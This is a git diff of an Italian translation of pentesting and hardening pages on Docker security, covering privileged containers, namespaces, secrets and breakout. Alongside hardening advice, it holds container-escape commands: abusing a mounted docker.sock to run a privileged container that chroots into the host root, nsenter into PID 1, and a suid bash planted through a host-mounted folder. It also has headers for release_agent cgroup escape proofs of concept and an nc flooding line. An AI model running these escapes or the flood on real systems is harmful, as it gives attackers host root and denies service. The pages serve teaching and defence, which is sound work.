- **Regole di Politica**: La politica SELinux garantisce principalmente che i processi con l'etichetta `container_t` possano interagire solo (leggere, scrivere, eseguire) con file etichettati come `container_file_t`.
@ -235,7 +236,7 @@ nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444;
```
## Flag Docker Interessanti
### --privileged flag
### Flag --privileged
Nella pagina seguente puoi imparare **cosa implica il flag `--privileged`**:
@ -247,7 +248,7 @@ docker-privileged.md
#### no-new-privileges
Se stai eseguendo un container in cui un attaccante riesce ad accedere come utente a bassa privilegio. Se hai un **binary suid mal configurato**, l'attaccante potrebbe abusarne e **escalare i privilegi all'interno** del container. Questo potrebbe permettergli di fuggire da esso.
Se stai eseguendo un container in cui un attaccante riesce ad accedere come utente a basso privilegio. Se hai un **binary suid mal configurato**, l'attaccante potrebbe abusarne e **escalare i privilegi all'interno** del container. Questo potrebbe permettergli di fuggire da esso.
Eseguire il container con l'opzione **`no-new-privileges`** abilitata **prevenirà questo tipo di escalation dei privilegi**.
```
@ -270,15 +271,15 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
```
Per ulteriori opzioni **`--security-opt`** controlla: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
## Altre Considerazioni sulla Sicurezza
## Altre Considerazioni di Sicurezza
### Gestione dei Segreti: Migliori Pratiche
È fondamentale evitare di incorporare segreti direttamente nelle immagini Docker o di utilizzare variabili d'ambiente, poiché questi metodi espongono le tue informazioni sensibili a chiunque abbia accesso al container tramite comandi come `docker inspect` o `exec`.
**I volumi Docker** sono un'alternativa più sicura, raccomandata per accedere a informazioni sensibili. Possono essere utilizzati come un filesystem temporaneo in memoria, mitigando i rischi associati a `docker inspect` e al logging. Tuttavia, gli utenti root e quelli con accesso `exec` al container potrebbero comunque accedere ai segreti.
I **volumi Docker** sono un'alternativa più sicura, raccomandata per accedere a informazioni sensibili. Possono essere utilizzati come un filesystem temporaneo in memoria, mitigando i rischi associati a `docker inspect` e al logging. Tuttavia, gli utenti root e quelli con accesso `exec` al container potrebbero comunque accedere ai segreti.
**I segreti Docker** offrono un metodo ancora più sicuro per gestire informazioni sensibili. Per le istanze che richiedono segreti durante la fase di build dell'immagine, **BuildKit** presenta una soluzione efficiente con supporto per segreti a tempo di build, migliorando la velocità di build e fornendo funzionalità aggiuntive.
I **segreti Docker** offrono un metodo ancora più sicuro per gestire informazioni sensibili. Per le istanze che richiedono segreti durante la fase di costruzione dell'immagine, **BuildKit** presenta una soluzione efficiente con supporto per segreti a tempo di costruzione, migliorando la velocità di costruzione e fornendo funzionalità aggiuntive.
Per sfruttare BuildKit, può essere attivato in tre modi:
@ -286,7 +287,7 @@ Per sfruttare BuildKit, può essere attivato in tre modi:
2. Prefissando i comandi: `DOCKER_BUILDKIT=1 docker build .`
3. Abilitandolo per impostazione predefinita nella configurazione di Docker: `{ "features": { "buildkit": true } }`, seguito da un riavvio di Docker.
BuildKit consente l'uso di segreti a tempo di build con l'opzione `--secret`, assicurando che questi segreti non siano inclusi nella cache di build dell'immagine o nell'immagine finale, utilizzando un comando come:
BuildKit consente l'uso di segreti a tempo di costruzione con l'opzione `--secret`, assicurando che questi segreti non siano inclusi nella cache di costruzione dell'immagine o nell'immagine finale, utilizzando un comando come:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
@ -309,7 +310,7 @@ Negli ambienti Kubernetes, i segreti sono supportati nativamente e possono esser
### gVisor
**gVisor** è un kernel applicativo, scritto in Go, che implementa una parte sostanziale della superficie di sistema Linux. Include un runtime [Open Container Initiative (OCI)](https://www.opencontainers.org) chiamato `runsc` che fornisce un **confine di isolamento tra l'applicazione e il kernel host**. Il runtime `runsc` si integra con Docker e Kubernetes, rendendo semplice l'esecuzione di container sandboxed.
**gVisor** è un kernel applicativo, scritto in Go, che implementa una parte sostanziale della superficie del sistema Linux. Include un runtime [Open Container Initiative (OCI)](https://www.opencontainers.org) chiamato `runsc` che fornisce un **confine di isolamento tra l'applicazione e il kernel host**. Il runtime `runsc` si integra con Docker e Kubernetes, rendendo semplice l'esecuzione di container in sandbox.
{{#ref}}
https://github.com/google/gvisor
@ -325,22 +326,22 @@ https://katacontainers.io/
### Suggerimenti Riassuntivi
- **Non utilizzare il flag `--privileged` o montare un** [**socket Docker all'interno del container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Lo socket docker consente di avviare container, quindi è un modo semplice per prendere il controllo completo dell'host, ad esempio, eseguendo un altro container con il flag `--privileged`.
- **Non eseguire come root all'interno del container. Utilizza un** [**utente diverso**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **e** [**namespace utente**](https://docs.docker.com/engine/security/userns-remap/)**.** Il root nel container è lo stesso dell'host a meno che non venga rimappato con gli namespace utente. È solo leggermente limitato da, principalmente, namespace Linux, capacità e cgroups.
- **Non utilizzare il flag `--privileged` o montare un** [**socket Docker all'interno del container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Lo socket docker consente di avviare container, quindi è un modo semplice per prendere il pieno controllo dell'host, ad esempio, eseguendo un altro container con il flag `--privileged`.
- **Non eseguire come root all'interno del container. Utilizzare un** [**utente diverso**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **e** [**namespace utente**](https://docs.docker.com/engine/security/userns-remap/)**.** Il root nel container è lo stesso che sull'host a meno che non venga rimappato con i namespace utente. È solo leggermente limitato da, principalmente, namespace Linux, capacità e cgroups.
- [**Elimina tutte le capacità**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e abilita solo quelle necessarie** (`--cap-add=...`). Molti carichi di lavoro non necessitano di capacità e aggiungerle aumenta l'ambito di un potenziale attacco.
- [**Utilizza l'opzione di sicurezza “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) per impedire ai processi di acquisire più privilegi, ad esempio tramite binari suid.
- [**Limita le risorse disponibili per il container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** I limiti delle risorse possono proteggere la macchina da attacchi di denial of service.
- **Regola i profili** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** per limitare le azioni e le syscalls disponibili per il container al minimo necessario.
- **Regola** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** profili per limitare le azioni e le syscalls disponibili per il container al minimo necessario.
- **Utilizza** [**immagini docker ufficiali**](https://docs.docker.com/docker-hub/official_images/) **e richiedi firme** o costruisci le tue basate su di esse. Non ereditare o utilizzare immagini [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Inoltre, conserva le chiavi root e le frasi di accesso in un luogo sicuro. Docker ha piani per gestire le chiavi con UCP.
- **Ricostruisci regolarmente** le tue immagini per **applicare patch di sicurezza all'host e alle immagini.**
- Gestisci i tuoi **segreti con saggezza** in modo che sia difficile per l'attaccante accedervi.
- Se **esponi il demone docker utilizza HTTPS** con autenticazione client e server.
- Nel tuo Dockerfile, **preferisci COPY invece di ADD**. ADD estrae automaticamente i file compressi e può copiare file da URL. COPY non ha queste capacità. Ogni volta che è possibile, evita di utilizzare ADD per non essere suscettibile ad attacchi tramite URL remoti e file Zip.
- Avere **container separati per ogni micro-servizio**
- Avere **container separati per ogni micro-s**ervizio.
- **Non mettere ssh** all'interno del container, “docker exec” può essere utilizzato per ssh nel Container.
- Avere **immagini di container più piccole**
- Avere **immagini di container più piccole**.
## Docker Breakout / Privilege Escalation
## Docker Breakout / Escalation dei Privilegi
Se sei **all'interno di un container docker** o hai accesso a un utente nel **gruppo docker**, potresti provare a **fuggire e aumentare i privilegi**:
@ -356,9 +357,9 @@ Se hai accesso allo socket docker o hai accesso a un utente nel **gruppo docker
authz-and-authn-docker-access-authorization-plugin.md
{{#endref}}
## Hardening Docker
## Indurimento di Docker
- Lo strumento [**docker-bench-security**](https://github.com/docker/docker-bench-security) è uno script che controlla dozzine di best practices comuni per il deployment di container Docker in produzione. I test sono tutti automatizzati e si basano sul [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
- Lo strumento [**docker-bench-security**](https://github.com/docker/docker-bench-security) è uno script che controlla dozzine di pratiche migliori comuni per il deployment di container Docker in produzione. I test sono tutti automatizzati e si basano sul [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
Devi eseguire lo strumento dall'host che esegue docker o da un container con privilegi sufficienti. Scopri **come eseguirlo nel README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## Riferimenti

36
src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md
View File

@ -19,7 +19,7 @@ Questo di solito accade nei container docker che per qualche motivo devono conne
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
```
In questo caso puoi utilizzare i comandi docker regolari per comunicare con il demone docker:
In questo caso puoi utilizzare comandi docker regolari per comunicare con il demone docker:
```bash
#List images to use one
docker images
@ -33,12 +33,12 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```
> [!NOTE]
> [!TIP]
> Nel caso in cui il **docker socket si trovi in un luogo inaspettato**, puoi comunque comunicare con esso utilizzando il comando **`docker`** con il parametro **`-H unix:///path/to/docker.sock`**
Il daemon Docker potrebbe anche [ascoltare su una porta (di default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) o su sistemi basati su Systemd, la comunicazione con il daemon Docker può avvenire tramite il socket Systemd `fd://`.
> [!NOTE]
> [!TIP]
> Inoltre, presta attenzione ai socket di runtime di altri runtime di alto livello:
>
> - dockershim: `unix:///var/run/dockershim.sock`
@ -134,7 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
### debugfs (Interactive File System Debugger)
debugfs /dev/sda1
```
#### Privileged Escape Abusare dell'esistente release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
#### Privileged Escape Abusando dell'esistente release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
```bash:Initial PoC
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
@ -216,9 +216,9 @@ Trova una **spiegazione della tecnica** in:
docker-release_agent-cgroups-escape.md
{{#endref}}
#### Privileged Escape Abusing release_agent senza conoscere il percorso relativo - PoC3
#### Privileged Escape Abusando release_agent senza conoscere il percorso relativo - PoC3
Negli exploit precedenti, il **percorso assoluto del container all'interno del filesystem dell'host è rivelato**. Tuttavia, questo non è sempre il caso. Nei casi in cui **non conosci il percorso assoluto del container all'interno dell'host**, puoi utilizzare questa tecnica:
Negli exploit precedenti, **il percorso assoluto del contenitore all'interno del filesystem dell'host è rivelato**. Tuttavia, questo non è sempre il caso. Nei casi in cui **non conosci il percorso assoluto del contenitore all'interno dell'host**, puoi utilizzare questa tecnica:
{{#ref}}
release_agent-exploit-relative-paths-to-pids.md
@ -333,9 +333,11 @@ In diverse occasioni scoprirai che il **container ha qualche volume montato dall
```bash
docker run --rm -it -v /:/host ubuntu bash
```
### Privilege Escalation con 2 shell e mount dell'host
Un altro esempio interessante può essere trovato in [**questo blog**](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce) dove è indicato che le cartelle `/usr/bin/` e `/bin/` dell'host sono montate all'interno del container, consentendo all'utente root del container di modificare i binari all'interno di queste cartelle. Pertanto, se un cron job utilizza un binario da lì, come `/etc/cron.d/popularity-contest`, questo consente di uscire dal container modificando un binario utilizzato dal cron job.
Se hai accesso come **root all'interno di un container** che ha una cartella dell'host montata e hai **escapato come utente non privilegiato nell'host** e hai accesso in lettura sulla cartella montata.\
### Escalation dei privilegi con 2 shell e montaggio dell'host
Se hai accesso come **root all'interno di un container** che ha alcune cartelle dell'host montate e hai **escapato come utente non privilegiato all'host** e hai accesso in lettura sulla cartella montata.\
Puoi creare un **file bash suid** nella **cartella montata** all'interno del **container** e **eseguirlo dall'host** per privesc.
```bash
cp /bin/bash . #From non priv inside mounted folder
@ -344,14 +346,14 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```
### Privilege Escalation con 2 shell
### Privilege Escalation with 2 shells
Se hai accesso come **root all'interno di un container** e sei **uscito come utente non privilegiato nell'host**, puoi abusare di entrambe le shell per **privesc all'interno dell'host** se hai la capacità MKNOD all'interno del container (è di default) come [**spiegato in questo post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Con tale capacità, l'utente root all'interno del container è autorizzato a **creare file di dispositivo a blocchi**. I file di dispositivo sono file speciali utilizzati per **accedere all'hardware sottostante e ai moduli del kernel**. Ad esempio, il file di dispositivo a blocchi /dev/sda consente di **leggere i dati grezzi sul disco del sistema**.
Docker protegge contro l'uso improprio dei dispositivi a blocchi all'interno dei container imponendo una politica cgroup che **blocca le operazioni di lettura/scrittura sui dispositivi a blocchi**. Tuttavia, se un dispositivo a blocchi viene **creato all'interno del container**, diventa accessibile dall'esterno del container tramite la directory **/proc/PID/root/**. Questo accesso richiede che **il proprietario del processo sia lo stesso** sia all'interno che all'esterno del container.
Esempio di **sfruttamento** da questo [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
**Esempio di sfruttamento** da questo [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
```bash
# On the container as root
cd /
@ -417,13 +419,13 @@ cat /proc/635813/fd/4
Puoi anche **terminare processi e causare un DoS**.
> [!WARNING]
> Se in qualche modo hai **accesso privilegiato su un processo al di fuori del container**, potresti eseguire qualcosa come `nsenter --target <pid> --all` o `nsenter --target <pid> --mount --net --pid --cgroup` per **eseguire una shell con le stesse restrizioni ns** (si spera nessuna) **di quel processo.**
> Se in qualche modo hai **accesso privilegiato a un processo al di fuori del container**, potresti eseguire qualcosa come `nsenter --target <pid> --all` o `nsenter --target <pid> --mount --net --pid --cgroup` per **eseguire una shell con le stesse restrizioni ns** (si spera nessuna) **di quel processo.**
### hostNetwork
```
docker run --rm -it --network=host ubuntu bash
```
Se un container è stato configurato con il Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), lo stack di rete di quel container non è isolato dal host Docker (il container condivide lo spazio dei nomi di rete dell'host) e il container non riceve un proprio indirizzo IP. In altre parole, il **container lega tutti i servizi direttamente all'IP dell'host**. Inoltre, il container può **intercettare TUTTO il traffico di rete che l'host** sta inviando e ricevendo sull'interfaccia condivisa `tcpdump -i eth0`.
Se un contenitore è stato configurato con il Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), lo stack di rete di quel contenitore non è isolato dal host Docker (il contenitore condivide lo spazio dei nomi di rete dell'host) e il contenitore non riceve un proprio indirizzo IP allocato. In altre parole, il **contenitore lega tutti i servizi direttamente all'IP dell'host**. Inoltre, il contenitore può **intercettare TUTTO il traffico di rete che l'host** sta inviando e ricevendo sull'interfaccia condivisa `tcpdump -i eth0`.
Ad esempio, puoi usare questo per **sniffare e persino spoofare il traffico** tra l'host e l'istanza di metadata.
@ -432,7 +434,7 @@ Come nei seguenti esempi:
- [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
- [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/)
Sarai anche in grado di accedere ai **servizi di rete legati a localhost** all'interno dell'host o persino accedere alle **permissive di metadata del nodo** (che potrebbero essere diverse da quelle a cui un container può accedere).
Sarai anche in grado di accedere ai **servizi di rete legati a localhost** all'interno dell'host o persino accedere alle **permissive di metadata del nodo** (che potrebbero essere diverse da quelle a cui un contenitore può accedere).
### hostIPC
```bash
@ -470,17 +472,17 @@ Questo attiverà il payload presente nel file main.go.
Per ulteriori informazioni: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
> [!NOTE]
> [!TIP]
> Ci sono altre CVE a cui il container può essere vulnerabile, puoi trovare un elenco in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
## Docker Custom Escape
## Escape Personalizzato di Docker
### Superficie di fuga Docker
### Superficie di Escape di Docker
- **Namespaces:** Il processo dovrebbe essere **completamente separato da altri processi** tramite namespaces, quindi non possiamo fuggire interagendo con altri procs a causa dei namespaces (per impostazione predefinita non possono comunicare tramite IPC, socket unix, servizi di rete, D-Bus, `/proc` di altri procs).
- **Utente root**: Per impostazione predefinita, l'utente che esegue il processo è l'utente root (tuttavia i suoi privilegi sono limitati).
- **Capabilities**: Docker lascia le seguenti capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
- **Syscalls**: Questi sono i syscalls che l'**utente root non sarà in grado di chiamare** (a causa della mancanza di capabilities + Seccomp). Gli altri syscalls potrebbero essere utilizzati per cercare di fuggire.
- **Syscalls**: Queste sono le syscalls che l'**utente root non sarà in grado di chiamare** (a causa della mancanza di capabilities + Seccomp). Le altre syscalls potrebbero essere utilizzate per cercare di fuggire.
{{#tabs}}
{{#tab name="x64 syscalls"}}

30
src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md
View File

@ -8,7 +8,7 @@ Quando esegui un contenitore come privilegiato, queste sono le protezioni che st
### Monta /dev
In un contenitore privilegiato, tutti i **dispositivi possono essere accessibili in `/dev/`**. Pertanto puoi **uscire** montando il disco dell'host.
In un contenitore privilegiato, tutti i **dispositivi possono essere accessibili in `/dev/`**. Pertanto puoi **uscire** **montando** il disco dell'host.
{{#tabs}}
{{#tab name="Inside default container"}}
@ -49,7 +49,7 @@ cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,c
```
{{#endtab}}
{{#tab name="Dentro il Contenitore Privilegiato"}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep '(ro'
@ -59,7 +59,7 @@ mount | grep '(ro'
### Mascheramento dei file system del kernel
Il file system **/proc** è selettivamente scrivibile, ma per motivi di sicurezza, alcune parti sono protette da accesso in scrittura e lettura sovrapponendole con **tmpfs**, garantendo che i processi del container non possano accedere ad aree sensibili.
Il file system **/proc** è scrivibile in modo selettivo, ma per motivi di sicurezza, alcune parti sono protette da accesso in scrittura e lettura sovrapponendole con **tmpfs**, garantendo che i processi del container non possano accedere ad aree sensibili.
> [!NOTE] > **tmpfs** è un file system che memorizza tutti i file nella memoria virtuale. tmpfs non crea alcun file sul tuo disco rigido. Quindi, se smonti un file system tmpfs, tutti i file in esso contenuti andranno persi per sempre.
@ -74,7 +74,7 @@ tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
```
{{#endtab}}
{{#tab name="Dentro il Contenitore Privilegiato"}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep /proc.*tmpfs
@ -84,7 +84,8 @@ mount | grep /proc.*tmpfs
### Capacità di Linux
I motori dei container avviano i container con un **numero limitato di capacità** per controllare cosa avviene all'interno del container per impostazione predefinita. Quelli **privilegiati** hanno **tutte** le **capacità** accessibili. Per saperne di più sulle capacità, leggi:
I motori dei container avviano i container con un **numero limitato di capacità** per controllare cosa avviene all'interno del container per impostazione predefinita. I container **privilegiati** hanno **tutte** le **capacità** accessibili. Per saperne di più sulle capacità, leggi:
{{#ref}}
../linux-capabilities.md
@ -102,7 +103,7 @@ Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setg
```
{{#endtab}}
{{#tab name="Dentro il contenitore privilegiato"}}
{{#tab name="Dentro il Contenitore Privilegiato"}}
```bash
# docker run --rm --privileged -it alpine sh
apk add -U libcap; capsh --print
@ -118,7 +119,7 @@ Puoi manipolare le capacità disponibili per un container senza eseguire in moda
### Seccomp
**Seccomp** è utile per **limitare** le **syscalls** che un container può chiamare. Un profilo seccomp predefinito è abilitato per impostazione predefinita quando si eseguono container docker, ma in modalità privilegiata è disabilitato. Scopri di più su Seccomp qui:
**Seccomp** è utile per **limitare** le **syscall** che un container può chiamare. Un profilo seccomp predefinito è abilitato per impostazione predefinita quando si eseguono container docker, ma in modalità privilegiata è disabilitato. Scopri di più su Seccomp qui:
{{#ref}}
seccomp.md
@ -134,7 +135,7 @@ Seccomp_filters: 1
```
{{#endtab}}
{{#tab name="Dentro il Contenitore Privilegiato"}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
grep Seccomp /proc/1/status
@ -147,7 +148,7 @@ Seccomp_filters: 0
# You can manually disable seccomp in docker with
--security-opt seccomp=unconfined
```
Inoltre, nota che quando Docker (o altri CRI) sono utilizzati in un cluster **Kubernetes**, il **filtraggio seccomp è disabilitato per impostazione predefinita**
Inoltre, nota che quando Docker (o altri CRI) sono utilizzati in un cluster **Kubernetes**, il **filtraggio seccomp è disabilitato per impostazione predefinita**.
### AppArmor
@ -164,6 +165,7 @@ apparmor.md
Eseguire un container con il flag `--privileged` disabilita le **etichette SELinux**, facendogli ereditare l'etichetta del motore del container, tipicamente `unconfined`, concedendo accesso completo simile a quello del motore del container. In modalità senza root, utilizza `container_runtime_t`, mentre in modalità root, viene applicato `spc_t`.
{{#ref}}
../selinux.md
{{#endref}}
@ -175,10 +177,10 @@ Eseguire un container con il flag `--privileged` disabilita le **etichette SELin
### Namespace
I namespace **NON sono influenzati** dal flag `--privileged`. Anche se non hanno i vincoli di sicurezza abilitati, **non vedono tutti i processi sul sistema o sulla rete host, per esempio**. Gli utenti possono disabilitare singoli namespace utilizzando i flag dei motori container **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`**.
I namespace **NON sono influenzati** dal flag `--privileged`. Anche se non hanno i vincoli di sicurezza abilitati, **non vedono tutti i processi sul sistema o sulla rete host, per esempio**. Gli utenti possono disabilitare i singoli namespace utilizzando i flag dei motori dei container **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`**.
{{#tabs}}
{{#tab name="Dentro il container privilegiato predefinito"}}
{{#tab name="Inside default privileged container"}}
```bash
# docker run --rm --privileged -it alpine sh
ps -ef
@ -188,7 +190,7 @@ PID USER TIME COMMAND
```
{{#endtab}}
{{#tab name="Dentro --pid=host Container"}}
{{#tab name="Inside --pid=host Container"}}
```bash
# docker run --rm --privileged --pid=host -it alpine sh
ps -ef
@ -201,9 +203,9 @@ PID USER TIME COMMAND
{{#endtab}}
{{#endtabs}}
### Spazio dei nomi utente
### Spazio utente
**Per impostazione predefinita, i motori dei container non utilizzano spazi dei nomi utente, tranne che per i container senza root**, che li richiedono per il montaggio del file system e l'uso di più UID. Gli spazi dei nomi utente, fondamentali per i container senza root, non possono essere disabilitati e migliorano significativamente la sicurezza limitando i privilegi.
**Per impostazione predefinita, i motori dei container non utilizzano spazi utente, tranne per i container senza root**, che li richiedono per il montaggio del file system e l'uso di più UID. Gli spazi utente, fondamentali per i container senza root, non possono essere disabilitati e migliorano significativamente la sicurezza limitando i privilegi.
## Riferimenti

7
src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md
View File

@ -4,42 +4,49 @@
### **PID namespace**
{{#ref}}
pid-namespace.md
{{#endref}}
### **Mount namespace**
{{#ref}}
mount-namespace.md
{{#endref}}
### **Network namespace**
{{#ref}}
network-namespace.md
{{#endref}}
### **IPC Namespace**
{{#ref}}
ipc-namespace.md
{{#endref}}
### **UTS namespace**
{{#ref}}
uts-namespace.md
{{#endref}}
### Time Namespace
{{#ref}}
time-namespace.md
{{#endref}}
### User namespace
{{#ref}}
user-namespace.md
{{#endref}}

24
src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
View File

@ -4,15 +4,15 @@
## Informazioni di base
Un cgroup namespace è una funzionalità del kernel Linux che fornisce **isolamento delle gerarchie cgroup per i processi in esecuzione all'interno di un namespace**. I cgroups, abbreviazione di **control groups**, sono una funzionalità del kernel che consente di organizzare i processi in gruppi gerarchici per gestire e applicare **limiti sulle risorse di sistema** come CPU, memoria e I/O.
Un namespace cgroup è una funzionalità del kernel Linux che fornisce **isolamento delle gerarchie cgroup per i processi in esecuzione all'interno di un namespace**. I cgroups, abbreviazione di **control groups**, sono una funzionalità del kernel che consente di organizzare i processi in gruppi gerarchici per gestire e applicare **limiti sulle risorse di sistema** come CPU, memoria e I/O.
Sebbene i cgroup namespaces non siano un tipo di namespace separato come gli altri di cui abbiamo discusso in precedenza (PID, mount, network, ecc.), sono correlati al concetto di isolamento dei namespace. **I cgroup namespaces virtualizzano la vista della gerarchia cgroup**, in modo che i processi in esecuzione all'interno di un cgroup namespace abbiano una vista diversa della gerarchia rispetto ai processi in esecuzione nell'host o in altri namespaces.
Sebbene i namespace cgroup non siano un tipo di namespace separato come gli altri di cui abbiamo discusso in precedenza (PID, mount, network, ecc.), sono correlati al concetto di isolamento dei namespace. **I namespace cgroup virtualizzano la vista della gerarchia cgroup**, in modo che i processi in esecuzione all'interno di un namespace cgroup abbiano una vista diversa della gerarchia rispetto ai processi in esecuzione nell'host o in altri namespace.
### Come funziona:
1. Quando viene creato un nuovo cgroup namespace, **inizia con una vista della gerarchia cgroup basata sul cgroup del processo creatore**. Ciò significa che i processi in esecuzione nel nuovo cgroup namespace vedranno solo un sottoinsieme dell'intera gerarchia cgroup, limitato al sottoalbero cgroup radicato nel cgroup del processo creatore.
2. I processi all'interno di un cgroup namespace **vedranno il proprio cgroup come la radice della gerarchia**. Ciò significa che, dalla prospettiva dei processi all'interno del namespace, il proprio cgroup appare come la radice, e non possono vedere o accedere ai cgroups al di fuori del proprio sottoalbero.
3. I cgroup namespaces non forniscono direttamente isolamento delle risorse; **forniscono solo isolamento della vista della gerarchia cgroup**. **Il controllo e l'isolamento delle risorse sono ancora applicati dai sottosistemi cgroup** (ad es., cpu, memoria, ecc.) stessi.
1. Quando viene creato un nuovo namespace cgroup, **inizia con una vista della gerarchia cgroup basata sul cgroup del processo creatore**. Ciò significa che i processi in esecuzione nel nuovo namespace cgroup vedranno solo un sottoinsieme dell'intera gerarchia cgroup, limitato al sottoalbero cgroup radicato nel cgroup del processo creatore.
2. I processi all'interno di un namespace cgroup **vedranno il proprio cgroup come la radice della gerarchia**. Ciò significa che, dalla prospettiva dei processi all'interno del namespace, il proprio cgroup appare come la radice e non possono vedere o accedere ai cgroup al di fuori del proprio sottoalbero.
3. I namespace cgroup non forniscono direttamente isolamento delle risorse; **forniscono solo isolamento della vista della gerarchia cgroup**. **Il controllo e l'isolamento delle risorse sono ancora applicati dai sottosistemi cgroup** (ad es., cpu, memoria, ecc.) stessi.
Per ulteriori informazioni sui CGroups controlla:
@ -22,7 +22,7 @@ Per ulteriori informazioni sui CGroups controlla:
## Laboratorio:
### Crea diversi Namespaces
### Crea diversi Namespace
#### CLI
```bash
@ -34,21 +34,21 @@ Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mo
<summary>Errore: bash: fork: Impossibile allocare memoria</summary>
Quando `unshare` viene eseguito senza l'opzione `-f`, si verifica un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito:
Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito:
1. **Spiegazione del Problema**:
- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (denominato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno.
- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (chiamato "processo unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno.
- Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale.
- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace.
- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione di PID in quel namespace.
2. **Conseguenza**:
- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo porta alla funzione `alloc_pid` a non riuscire ad allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria".
